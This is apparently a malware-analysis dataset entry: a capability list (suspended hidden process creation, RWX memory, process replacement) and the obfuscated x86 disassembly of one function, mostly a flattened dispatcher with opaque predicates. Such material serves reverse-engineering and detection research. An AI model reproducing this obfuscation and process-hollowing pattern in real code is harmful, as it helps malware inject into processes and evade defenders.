Function at 0x10008cc0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x130
mov eax, dword [0x10075800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x138], 0xf85d6ed4
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x13c], eax
sub eax, 0x803332c9
je 0x10016686
jmp 0x10008cfc
mov eax, dword [ebp - 0x13c]
sub eax, 0x80732344
je 0x1000f506
jmp 0x10008d12
mov eax, dword [ebp - 0x13c]
sub eax, 0x80e174b3
je 0x1001692f
jmp 0x10008d28
mov eax, dword [ebp - 0x13c]
sub eax, 0x80f7b431
je 0x100166d7
jmp 0x10008d3e
mov eax, dword [ebp - 0x13c]
sub eax, 0x813accdb
je 0x1000d518
jmp 0x10008d54
mov eax, dword [ebp - 0x13c]
sub eax, 0x819d3f0f
je 0x100167b8
jmp 0x10008d6a
mov eax, dword [ebp - 0x13c]
sub eax, 0x81d27bf0
je 0x100143a6
jmp 0x10008d80
mov eax, dword [ebp - 0x13c]
sub eax, 0x81ef9ba9
je 0x1000eb1c
jmp 0x10008d96
mov eax, dword [ebp - 0x13c]
sub eax, 0x81fb9536
je 0x10016605
jmp 0x10008dac
mov eax, dword [ebp - 0x13c]
sub eax, 0x822773e1
je 0x10013615
jmp 0x10008dc2
mov eax, dword [ebp - 0x13c]
sub eax, 0x823e0a78
je 0x10016b59
jmp 0x10008dd8
mov eax, dword [ebp - 0x13c]
sub eax, 0x82656839
je 0x10016cf8
jmp 0x10008dee
mov eax, dword [ebp - 0x13c]
sub eax, 0x8314923e
je 0x10015048
jmp 0x10008e04
mov eax, dword [ebp - 0x13c]
sub eax, 0x8318314d
je 0x10013a3e
jmp 0x10008e1a
mov eax, dword [ebp - 0x13c]
sub eax, 0x83e21c63
je 0x10012142
jmp 0x10008e30
mov eax, dword [ebp - 0x13c]
sub eax, 0x83ef89b5
je 0x1000ffab
jmp 0x10008e46
mov eax, dword [ebp - 0x13c]
sub eax, 0x842c7672
je 0x10010e02
jmp 0x10008e5c
mov eax, dword [ebp - 0x13c]
sub eax, 0x84ea3f7b
je 0x10015d20
jmp 0x10008e72
mov eax, dword [ebp - 0x13c]
sub eax, 0x85696e71
je 0x10013d4f
jmp 0x10008e88
mov eax, dword [ebp - 0x13c]
sub eax, 0x85a3a2ad
je 0x1001685a
jmp 0x10008e9e
mov eax, dword [ebp - 0x13c]
sub eax, 0x861fd5c3
je 0x1000ec6e
jmp 0x10008eb4
mov eax, dword [ebp - 0x13c]
sub eax, 0x86b17d81
je 0x1000ecac
jmp 0x10008eca
mov eax, dword [ebp - 0x13c]
sub eax, 0x86dc8ea5
je 0x1001009f
jmp 0x10008ee0
mov eax, dword [ebp - 0x13c]
sub eax, 0x871d477b
je 0x1000d2a6
jmp 0x10008ef6
mov eax, dword [ebp - 0x13c]
sub eax, 0x8744bf26
je 0x1000d5d9
jmp 0x10008f0c
mov eax, dword [ebp - 0x13c]
sub eax, 0x878ddb1f
je 0x1000f8f9
jmp 0x10008f22
mov eax, dword [ebp - 0x13c]
sub eax, 0x8867991f
je 0x100146cc
jmp 0x10008f38
mov eax, dword [ebp - 0x13c]
sub eax, 0x88a570ce
je 0x100137ad
jmp 0x10008f4e
mov eax, dword [ebp - 0x13c]
sub eax, 0x88af4011
je 0x100114d8
jmp 0x10008f64
mov eax, dword [ebp - 0x13c]
sub eax, 0x88e91e7c
je 0x1001632f
jmp 0x10008f7a
mov eax, dword [ebp - 0x13c]
sub eax, 0x88f5a332
je 0x10011155
jmp 0x10008f90
mov eax, dword [ebp - 0x13c]
sub eax, 0x890be6c4
je 0x10010cf9
jmp 0x10008fa6
mov eax, dword [ebp - 0x13c]
sub eax, 0x891e65c3
je 0x10013c31
jmp 0x10008fbc
mov eax, dword [ebp - 0x13c]
sub eax, 0x8935ef5c
je 0x1001408f
jmp 0x10008fd2
mov eax, dword [ebp - 0x13c]
sub eax, 0x89f0ff2c
je 0x10016ad2
jmp 0x10008fe8
mov eax, dword [ebp - 0x13c]
sub eax, 0x8a3d8319
je 0x10015263
jmp 0x10008ffe
mov eax, dword [ebp - 0x13c]
sub eax, 0x8a508173
je 0x100127ce
jmp 0x10009014
mov eax, dword [ebp - 0x13c]
sub eax, 0x8adf5055
je 0x1000e501
jmp 0x1000902a
mov eax, dword [ebp - 0x13c]
sub eax, 0x8bd9228f
je 0x100130c1
jmp 0x10009040
mov eax, dword [ebp - 0x13c]
sub eax, 0x8c2daa2b
je 0x100107fa
jmp 0x10009056
mov eax, dword [ebp - 0x13c]
sub eax, 0x8d5b21cd
je 0x10011f2a
jmp 0x1000906c
mov eax, dword [ebp - 0x13c]
sub eax, 0x8da3246f
je 0x1000d33c
jmp 0x10009082
mov eax, dword [ebp - 0x13c]
sub eax, 0x8db1ed22
je 0x1000ec32
jmp 0x10009098
mov eax, dword [ebp - 0x13c]
sub eax, 0x8dc34bb9
je 0x1000d8b2
jmp 0x100090ae
mov eax, dword [ebp - 0x13c]
sub eax, 0x8deffa0b
je 0x1000cf6a
jmp 0x100090c4
mov eax, dword [ebp - 0x13c]
sub eax, 0x8eb662b1
je 0x100142a4
jmp 0x100090da
mov eax, dword [ebp - 0x13c]
sub eax, 0x8f5eb801
je 0x100167c7
jmp 0x100090f0
mov eax, dword [ebp - 0x13c]
sub eax, 0x8f971513
je 0x1000f448
jmp 0x10009106
mov eax, dword [ebp - 0x13c]
sub eax, 0x8fb3d74e
je 0x1001074d
jmp 0x1000911c
mov eax, dword [ebp - 0x13c]
sub eax, 0x901a3ef0
je 0x1000dce3
jmp 0x10009132
mov eax, dword [ebp - 0x13c]
sub eax, 0x90734043
je 0x10010a1f
jmp 0x10009148
mov eax, dword [ebp - 0x13c]
sub eax, 0x908b0153
je 0x10014283
jmp 0x1000915e
mov eax, dword [ebp - 0x13c]
sub eax, 0x90b39168
je 0x10016466
jmp 0x10009174
mov eax, dword [ebp - 0x13c]
sub eax, 0x90ce0684
je 0x1000f457
jmp 0x1000918a
mov eax, dword [ebp - 0x13c]
sub eax, 0x90d20a2c
je 0x100125ea
jmp 0x100091a0
mov eax, dword [ebp - 0x13c]
sub eax, 0x9110dbc9
je 0x1000f3c2
jmp 0x100091b6
mov eax, dword [ebp - 0x13c]
sub eax, 0x91316c0a
je 0x1000e3cb
jmp 0x100091cc
mov eax, dword [ebp - 0x13c]
sub eax, 0x913727a6
je 0x100126fc
jmp 0x100091e2
mov eax, dword [ebp - 0x13c]
sub eax, 0x9180f9e3
je 0x100124fc
jmp 0x100091f8
mov eax, dword [ebp - 0x13c]
sub eax, 0x91ba4cbd
je 0x1000e6d5
jmp 0x1000920e
mov eax, dword [ebp - 0x13c]
sub eax, 0x92491181
je 0x10014751
jmp 0x10009224
mov eax, dword [ebp - 0x13c]
sub eax, 0x931ee0e3
je 0x10015fc0
jmp 0x1000923a
mov eax, dword [ebp - 0x13c]
sub eax, 0x933aef37
je 0x10011672
jmp 0x10009250
mov eax, dword [ebp - 0x13c]
sub eax, 0x933e7c24
je 0x1000ef3a
jmp 0x10009266
mov eax, dword [ebp - 0x13c]
sub eax, 0x935eda01
je 0x100150ed
mov dword [ebp - 0x138], 0x61ce2af1
jmp 0x10016daf
movss xmm0, dword [0x100244c0]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x100244bc]
movss dword [ebp - 0x118], xmm0
mov ecx, dword [0x10076b28]
mov eax, dword [0x10076b24]
mov edx, ecx
sub edx, 0x37ac8451
sub edx, 1
add edx, 0x37ac8451
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7f095290
mov ecx, 0x8da3246f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov dword [ebp - 0x138], 0xff6d174e
jmp 0x10016daf
movss xmm0, dword [0x100244b8]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x100244b4]
movss dword [ebp - 0x118], xmm0
mov eax, dword [0x10076b28]
mov ecx, dword [0x10076b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x931ee0e3
mov ecx, 0x399712a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov ecx, dword [0x10076b28]
mov eax, dword [0x10076b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x791cabda
mov ecx, 0x3979d355
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov ecx, dword [0x10076b28]
mov eax, dword [0x10076b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x14dad723
mov ecx, 0x2751c181
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov dword [ebp - 0x138], 0x52975418
jmp 0x10016daf
mov dword [ebp - 0x138], 0x7c477cb8
jmp 0x10016daf
mov eax, dword [0x10076b28]
mov ecx, dword [0x10076b24]
mov edx, eax
add edx, 0x4d673418
sub edx, 1
sub edx, 0x4d673418
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3947c284
mov ecx, 0xcfe584df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov dword [ebp - 0x138], 0x42643300
jmp 0x10016daf
mov ecx, dword [0x10076b28]
mov eax, dword [0x10076b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7d701e98
mov ecx, 0xee89c65f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov dl, 1
mov eax, 0x6a25850e
mov ecx, 0xd2e55c55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
movss xmm0, dword [0x10024748]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x138], 0x6a25850e
jmp 0x10016daf
mov dl, 1
mov eax, 0xefcd9f4
mov ecx, 0xff8f561
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
movss xmm0, dword [0x10024474]
movss dword [ebp - 0x128], xmm0
mov ecx, dword [0x10076b28]
mov eax, dword [0x10076b24]
mov edx, ecx
sub edx, 0x182e768c
sub edx, 1
add edx, 0x182e768c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa7bd554d
mov ecx, 0xbcce42b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
movss xmm0, dword [0x10024468]
movss dword [ebp - 0x128], xmm0
mov ecx, dword [0x10076b28]
mov eax, dword [0x10076b24]
mov edx, ecx
sub edx, 0x349ca7d1
sub edx, 1
add edx, 0x349ca7d1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5e921059
mov ecx, 0x8f971513
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov dword [ebp - 0x138], 0x90ce0684
jmp 0x10016daf
mov eax, dword [0x10076b28]
mov ecx, dword [0x10076b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x48a45406
mov ecx, 0x68f3cb8c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
movss xmm0, dword [0x10024720]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x138], 0xef5d224a
jmp 0x10016daf
movss xmm0, dword [0x1002470c]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x138], 0x2770ecaa
jmp 0x10016daf
mov dl, 1
mov eax, 0xed74332c
mov ecx, 0x258f50e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov dword [ebp - 0x138], 0xa421aa08
jmp 0x10016daf
movss xmm0, dword [0x10024428]
movss dword [ebp - 0x134], xmm0
mov eax, dword [0x10076b28]
mov ecx, dword [0x10076b24]
mov edx, eax
sub edx, 0x7a601865
sub edx, 1
add edx, 0x7a601865
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa527fa27
mov ecx, 0xc8465ae0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov dword [ebp - 0x138], 0xf746c18b
jmp 0x10016daf
mov dword [ebp - 0x138], 0xd09263d6
jmp 0x10016daf
mov ecx, dword [0x10076b28]
mov eax, dword [0x10076b24]
mov edx, ecx
sub edx, 0xe8511a47
sub edx, 1
add edx, 0xe8511a47
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9e705305
mov ecx, 0x385d8cf8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov eax, dword [0x10076b28]
mov ecx, dword [0x10076b24]
mov edx, eax
sub edx, 0xf57903d2
sub edx, 1
add edx, 0xf57903d2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc62bdc76
mov ecx, 0xe3ecae0e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov dword [ebp - 0x138], 0x58c02619
jmp 0x10016daf
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10024648]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x7a69c9e1
jmp 0x10016daf
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10024634]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xa62623b5
jmp 0x10016daf
mov ecx, dword [0x10076b28]
mov eax, dword [0x10076b24]
mov edx, ecx
sub edx, 0x3cd9f4f
sub edx, 1
add edx, 0x3cd9f4f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x366a2940
mov ecx, 0x44f407d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100245e4]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0x33fc6464
mov ecx, 0x7bd371dd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov dword [ebp - 0x138], 0x1954ed62
jmp 0x10016daf
mov ecx, dword [0x10076b28]
mov eax, dword [0x10076b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2994c962
mov ecx, 0xec1f2234
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov eax, dword [0x10076b28]
mov ecx, dword [0x10076b24]
mov edx, eax
add edx, 0xc0a5e081
sub edx, 1
sub edx, 0xc0a5e081
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xec255622
mov ecx, 0x6b4a4a05
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov dl, 1
mov eax, 0x78bbbf35
mov ecx, 0xe4208271
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100243d8]
movss dword [eax], xmm0
mov eax, dword [0x10076b28]
mov ecx, dword [0x10076b24]
mov edx, eax
add edx, 0xcd7ade6f
sub edx, 1
sub edx, 0xcd7ade6f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8f5eb801
mov ecx, 0xa9669293
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10024520]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1002451c]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x305f7383
jmp 0x10016daf
mov ecx, dword [0x10076b28]
mov eax, dword [0x10076b24]
mov edx, ecx
sub edx, 0x3dbf6e56
sub edx, 1
add edx, 0x3dbf6e56
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5b8dface
mov ecx, 0xb61819b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10024514]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x3504d877
jmp 0x10016daf
mov dl, 1
mov eax, 0x85696e71
mov ecx, 0xdcbc7117
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100244f0]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x9f26c8ee
jmp 0x10016daf
mov eax, dword [0x10076b28]
mov ecx, dword [0x10076b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd432894f
mov ecx, 0x39c36970
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov dl, byte [ebp - 0x85]
mov eax, 0x96b63b45
mov ecx, 0x8eb662b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov eax, dword [0x10076b28]
mov ecx, dword [0x10076b24]
mov edx, eax
add edx, 0xe2e3d559
sub edx, 1
sub edx, 0xe2e3d559
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa1a8148f
mov ecx, 0x66d3ce2c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov dword [ebp - 0x138], 0x677c0bc5
jmp 0x10016daf
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [0x10076b28]
mov ecx, dword [0x10076b24]
mov edx, eax
sub edx, 0xb7fd5a2b
sub edx, 1
add edx, 0xb7fd5a2b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9749f15f
mov ecx, 0x92491181
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
mov dword [ebp - 0x138], 0xa7aedb67
jmp 0x10016daf
mov dword [ebp - 0x138], 0x531e6d0c
jmp 0x10016daf
mov dword [ebp - 0x138], 0x96230e5b
jmp 0x10016daf
mov ecx, dword [0x10076b28]
mov eax, dword [0x10076b24]
mov edx, ecx
sub edx, 0xd23fec74
sub edx, 1
add edx, 0xd23fec74
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4edc180
mov ecx, 0xdfe0e0a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016daf
movss xmm0, dword [0x100244b8]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x100244b4]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x138], 0x813accdb
jmp 0x10016daf
mov dword [ebp - 0x138], 0x24b2fb2c
jmp 0x10016daf
mov dword [ebp - 0x138], 0x6e566eed
jmp 0x10016daf
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10024400]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100243fc]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xa4dea11c
jmp 0x10016daf
mov dword [ebp - 0x138], 0x546bf799
jmp 0x10016daf
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100243ec]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x6a290898
jmp 0x10016daf
mov dword [ebp - 0x138], 0x27108f97
jmp 0x10016daf
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100243d8]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x8bd9228f
jmp 0x10016daf
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100243c8]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xb1cbdf95
jmp 0x10016daf
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100243b0]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xdf57dbb9
jmp 0x10016daf
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x138], 0x7eed5ade
jmp 0x10016daf
mov dword [ebp - 0x138], 0x6618999
jmp 0x10016daf
mov dword [ebp - 0x138], 0x3949a83a
jmp 0x10016daf
jmp 0x10008ce0